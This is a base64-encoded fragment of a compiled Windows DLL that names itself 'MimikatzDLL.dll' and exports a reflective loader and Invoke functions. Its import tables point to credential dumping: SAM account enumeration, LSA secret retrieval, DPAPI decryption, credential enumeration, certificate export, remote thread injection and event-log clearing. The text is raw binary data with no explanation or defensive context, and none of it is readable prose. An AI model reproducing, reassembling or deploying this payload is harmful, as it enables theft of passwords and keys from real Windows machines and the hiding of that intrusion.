AAAEAAAADQrAQQAAAAAAAAAAABAAAA4KwEELSsBBAAAAAAPN8EEAEAAAAAAAAA/////wAAAABAAAAAmKwEEAAAAAAAAAAAAAAAAKD3BBAYrQQQAAAAAAAAAAACAAAAKK0EEDStBBC0rAQQAAAAAKD3BBABAAAAAAAAAP////8AAAAAQAAAABitBBDQBgIAwDMCAFCZAgCYtgIAdLgCAH65AgDOzQIA6c0CAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAEEAAAAAD/////AAAAAAwAAADuygEQAAAAAOnKARAAAAAArK0EEAMAAAC8rQQQgK0EEBSyBBAAAAAAINAEEAAAAAD/////AAAAAAwAAAA7ywEQAAAAAOnKARAAAAAA6K0EEAMAAAD4rQQQgK0EEBSyBBAAAAAAQNAEEAAAAAD/////AAAAAAwAAACIywEQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHrUARAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAUdgBEAAAAAAAAAAAHdgBEP7///8AAAAA1P///wAAAAD+////AAAAAKPYARAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAatkBEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD73AEQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAOfnARAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAFukBEAAAAAD+////AAAAANT///8AAAAA/v///3bqARCH6gEQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAALTvARAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAZfEBEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACz+AEQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAIX8ARAAAAAA/v///wAAAADU////AAAAAP7///8AAAAACQACEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAA0AQIQ/v///wAAAABDAQIQ/v///wAAAADY////AAAAAP7///8AAAAA9gICEP7///8AAAAAAgMCEP7///8AAAAA0P///wAAAAD+////AAAAANkkAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAUyYCEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABVLgIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAC4vAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAGTMCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACDNgIQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAAEg4AhAAAAAAAAAAAIQ3AhD+////AAAAAND///8AAAAA/v///wAAAACmOQIQAAAAAP7///8AAAAA2P///wAAAAD+////z2MCENNjAhAAAAAA/v///wAAAADY////AAAAAP7///8fZAIQI2QCEAAAAAD+////AAAAAMD///8AAAAA/v///wAAAAAHZgIQAAAAAP7///8AAAAA2P///wAAAAD+////+2cCEA5oAhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAmW8CEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAChmAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFioAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAHrQCEAAAAAAg3wQQAAAAAP////8AAAAADAAAAOvMARAAAAAAPN8EEAAAAAD/////AAAAAAwAAADHGAAQAgAAADCyBBAUsgQQAAAAAAsUABAAAAAATLIEEP////8RjAAQaIwAEAAAAAD/////pooAEP2KABAAAAAA/////3CJABDHiQAQ/////wAAAAD/////AAAAAAEAAAAAAAAAAQAAAAAAAABAAAAAAAAAAAAAAABqGAAQQAAAAAAAAAAAAAAA/BcAEAIAAAACAAAAAwAAAAEAAAC0sgQQAAAAAAAAAAADAAAAAQAAAMSyBBAiBZMZBAAAAJSyBBACAAAA1LIEEAAAAAAAAAAAAAAAAAEAAAD/////k0cBEOpHARAAAAAA/v///wAAAACw////AAAAAP7///8qvwIQPb8CEAAAAAD+////AAAAAND///8AAAAA/v///wAAAAAywgIQAAAAAPTBAhD+wQIQ/v///wAAAADY////AAAAAP7////awgIQ48ICEEAAAAAAAAAAAAAAALzDAhD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAJSzBBAiBZMZAg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BEdXBsaWNhdGVIYW5kbGUA3QBEZXZpY2VJb0NvbnRyb2wAZgRTZXRGaWxlUG9pbnRlcgAA8QRWaXJ0dWFsUXVlcnkAAOwEVmlydHVhbEZyZWUA8gRWaXJ0dWFsUXVlcnlFeAAA7QRWaXJ0dWFsRnJlZUV4AMMDUmVhZFByb2Nlc3NNZW1vcnkA6QRWaXJ0dWFsQWxsb2MAAPAEVmlydHVhbFByb3RlY3RFeAAA6gRWaXJ0dWFsQWxsb2NFeAAA7wRWaXJ0dWFsUHJvdGVjdAAALgVXcml0ZVByb2Nlc3NNZW1vcnkAAFcDTWFwVmlld09mRmlsZQDWBFVubWFwVmlld09mRmlsZQCMAENyZWF0ZUZpbGVNYXBwaW5nVwAASwNMb2NhbFJlQWxsb2MAAIkDT3V0cHV0RGVidWdTdHJpbmdBAACoAENyZWF0ZVByb2Nlc3NXAABzBFNldExhc3RFcnJvcgAA+QRXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAADIAUdldERhdGVGb3JtYXRXAACXAkdldFRpbWVGb3JtYXRXAAAkAUZpbGVUaW1lVG9Mb2NhbEZpbGVUaW1lADkBRmluZEZpcnN0RmlsZVcAAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUA6gFHZXRGaWxlQXR0cmlidXRlc1cAAC4BRmluZENsb3NlAEUBRmluZE5leHRGaWxlVwBiAUZyZWVMaWJyYXJ5AD8DTG9hZExpYnJhcnlXAABFAkdldFByb2NBZGRyZXNzAAAYAkdldE1vZHVsZUhhbmRsZVcAALIEU2xlZXAAMQRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAGQCR2V0U3RkSGFuZGxlAAAoAUZpbGxDb25zb2xlT3V0cHV0Q2hhcmFjdGVyVwCyAUdldENvbnNvbGVTY3JlZW5CdWZmZXJJbmZvAAAOA0lzV293NjRQcm9jZXNzAABNBFNldEN1cnJlbnREaXJlY3RvcnlXAADEAUdldEN1cnJlbnRUaHJlYWQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZABLRVJORUwzMi5kbGwAAMMBSXNDaGFyQWxwaGFOdW1lcmljVwBVU0VSMzIuZGxsAADMAENyeXB0U2V0SGFzaFBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AvwBDcnlwdEV4cG9ydEtleQAAsQBDcnlwdEFjcXVpcmVDb250ZXh0VwAAzQBDcnlwdFNldEtleVBhcmFtAADFAENyeXB0R2V0S2V5UGFyYW0AAMsAQ3J5cHRSZWxlYXNlQ29udGV4dAC5AENyeXB0RHVwbGljYXRlS2V5ALAAQ3J5cHRBY3F1aXJlQ29udGV4dEEAAMYAQ3J5cHRHZXRQcm92UGFyYW0AygBDcnlwdEltcG9ydEtleQAA1AJTeXN0ZW1GdW5jdGlvbjAwNwC6AENyeXB0RW5jcnlwdAAAswBDcnlwdENyZWF0ZUhhc2gAwABDcnlwdEdlbktleQC3AENyeXB0RGVzdHJveUtleQC0AENyeXB0RGVjcnlwdAAAtgBDcnlwdERlc3Ryb3lIYXNoAADIAENyeXB0SGFzaERhdGEAdgBDb3B5U2lkADYBR2V0TGVuZ3RoU2lkAADFAUxzYVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3kAvQFMc2FPcGVuUG9saWN5AJ0BTHNhQ2xvc2UAAIMAQ3JlYXRlV2VsbEtub3duU2lkAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAHwAQ3JlYXRlUHJvY2Vzc0FzVXNlclcAAG4CUmVnUXVlcnlWYWx1ZUV4VwAAaAJSZWdRdWVyeUluZm9LZXlXAABSAlJlZ0VudW1WYWx1ZVcAYQJSZWdPcGVuS2V5RXhXAE8CUmVnRW51bUtleUV4VwAwAlJlZ0Nsb3NlS2V5AH4CUmVnU2V0VmFsdWVFeFcAAO0CU3lzdGVtRnVuY3Rpb24wMzIAVwBDbG9zZVNlcnZpY2VIYW5kbGUAANoARGVsZXRlU2VydmljZQD5AU9wZW5TQ01hbmFnZXJXAAD7AU9wZW5TZXJ2aWNlVwAAyQJTdGFydFNlcnZpY2VXACkCUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAFwAQ29udHJvbFNlcnZpY2UAAIABSXNUZXh0VW5pY29kZQDBAENyeXB0R2VuUmFuZG9tAABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAPcBT3BlblByb2Nlc3NUb2tlbgAAWgFHZXRUb2tlbkluZm9ybWF0aW9uAJEBTG9va3VwQWNjb3VudFNpZFcAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAAC+AENyeXB0RW51bVByb3ZpZGVyc1cA0wJTeXN0ZW1GdW5jdGlvbjAwNgDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAUwBDbGVhckV2ZW50TG9nVwAAgQBDcmVhdGVTZXJ2aWNlVwAAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AAAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAIAFGcmVlU2lkAFcBR2V0U2lkU3ViQXV0aG9yaXR5AABYAUdldFNpZFN1YkF1dGhvcml0eUNvdW50ANICU3lzdGVtRnVuY3Rpb24wMDUAyQFMc2FRdWVyeVRydXN0ZWREb21haW5JbmZvQnlOYW1lAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDBAlNldFRocmVhZFRva2VuAADfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsABcAUnRsVW5pY29kZVN0cmluZ1RvQW5zaVN0cmluZwAADQBSdGxGcmVlQW5zaVN0cmluZwAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADgBSdGxGcmVlVW5pY29kZVN0cmluZwAAEwBSdGxJbml0VW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAQAFJ0bEdldEN1cnJlbnRQZWIAAAAATnRRdWVyeUluZm9ybWF0aW9uUHJvY2VzcwAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAAGQBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAAIAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABABOdFN1c3BlbmRQcm9jZXNzAAAFAE50VGVybWluYXRlUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAhAFNhbU9wZW5Vc2VyAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluAAcAU2FtQ29ubmVjdAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgAsAFNhbVJpZFRvU2lkABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwAFNBTUxJQi5kbGwAAAsATUQ1RmluYWwAAA0ATUQ1VXBkYXRlAAwATUQ1SW5pdAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAAAGAENETG9jYXRlQ2hlY2tTdW0AAGNyeXB0ZGxsLmRsbAAAZQBQYXRoSXNSZWxhdGl2ZVcAOABQYXRoQ2Fub25pY2FsaXplVwA6AFBhdGhDb21iaW5lVwAAU0hMV0FQSS5kbGwA2wBDcnlwdFVucHJvdGVjdERhdGEAAH0AQ3J5cHRCaW5hcnlUb1N0cmluZ1cAAL0AQ3J5cHRQcm90ZWN0RGF0YQAAegBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkASwBDZXJ0R2V0TmFtZVN0cmluZ1cAAAgAQ2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmUAAFcAQ2VydE9wZW5TdG9yZQBAAENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAEAENlcnRBZGRDZXJ0aWZpY2F0ZUNvbnRleHRUb1N0b3JlAAASAENlcnRDbG9zZVN0b3JlAABGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQAsAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQAvAENlcnRFbnVtU3lzdGVtU3RvcmUAagBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAFgFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAQ1JZUFQzMi5kbGwANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAYAEZyZWVDb250ZXh0QnVmZmVyAC0ATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAqAExzYUZyZWVSZXR1cm5CdWZmZXIAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACcATHNhQ29ubmVjdFVudHJ1c3RlZAAmAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAFNlY3VyMzIuZGxsAF8BUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA7gFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAG4BUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAcQFScGNCaW5kaW5nU2V0T3B0aW9uAF0BUnBjQmluZGluZ0ZyZWUAAPIBUnBjU3RyaW5nRnJlZVcAAJUATmRyQ2xpZW50Q2FsbDIAAFJQQ1JUNC5kbGwAABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAE5FVEFQSTMyLmRsbAAAzwJIZWFwRnJlZQAA7gBFbnRlckNyaXRpY2FsU2VjdGlvbgAAOQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAywJIZWFwQWxsb2MAGQFFeGl0UHJvY2VzcwDKAERlY29kZVBvaW50ZXIAxQFHZXRDdXJyZW50VGhyZWFkSWQAAIYBR2V0Q29tbWFuZExpbmVBALEDUmFpc2VFeGNlcHRpb24AAMAEVGVybWluYXRlUHJvY2VzcwAA0wRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAKUEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AM0CSGVhcENyZWF0ZQAAzgJIZWFwRGVzdHJveQDqAEVuY29kZVBvaW50ZXIAcgFHZXRDUEluZm8A7wJJbnRlcmxvY2tlZEluY3JlbWVudAAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAAaAFHZXRBQ1AAADcCR2V0T0VNQ1AAAAoDSXNWYWxpZENvZGVQYWdlAMUEVGxzQWxsb2MAAMcEVGxzR2V0VmFsdWUAyARUbHNTZXRWYWx1ZQDGBFRsc0ZyZWUAbwRTZXRIYW5kbGVDb3VudAAA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APMBR2V0RmlsZVR5cGUAYwJHZXRTdGFydHVwSW5mb1cA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAABgEUnRsVW53aW5kAIcEU2V0U3RkSGFuZGxlAAAUAkdldE1vZHVsZUZpbGVOYW1lVwAAaQJHZXRTdHJpbmdUeXBlVwAAEwJHZXRNb2R1bGVGaWxlTmFtZUEAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cA2gFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAJMCR2V0VGlja0NvdW50AADUAkhlYXBTaXplAAAtA0xDTWFwU3RyaW5nVwAA0gJIZWFwUmVBbGxvYwAkBVdyaXRlQ29uc29sZVcAUwRTZXRFbmRPZkZpbGUAAEoCR2V0UHJvY2Vzc0hlYXAAAAAAAAAAAAAAAAAAADS3DlYAAAAAoM8EAAEAAAAEAAAABAAAAHjPBACIzwQAmM8EAFMVAADXFAAAShUAAAAQAACwzwQAvc8EAMTPBADPzwQAAAABAAIAAwBNaW1pa2F0ekRMTC5kbGwAQ29uZmlndXJlWE1MAEludm9rZQBJbnZva2VXaWRlAF9SZWZsZWN0aXZlTG9hZGVyQDIwAAAAAAAAAAAAAA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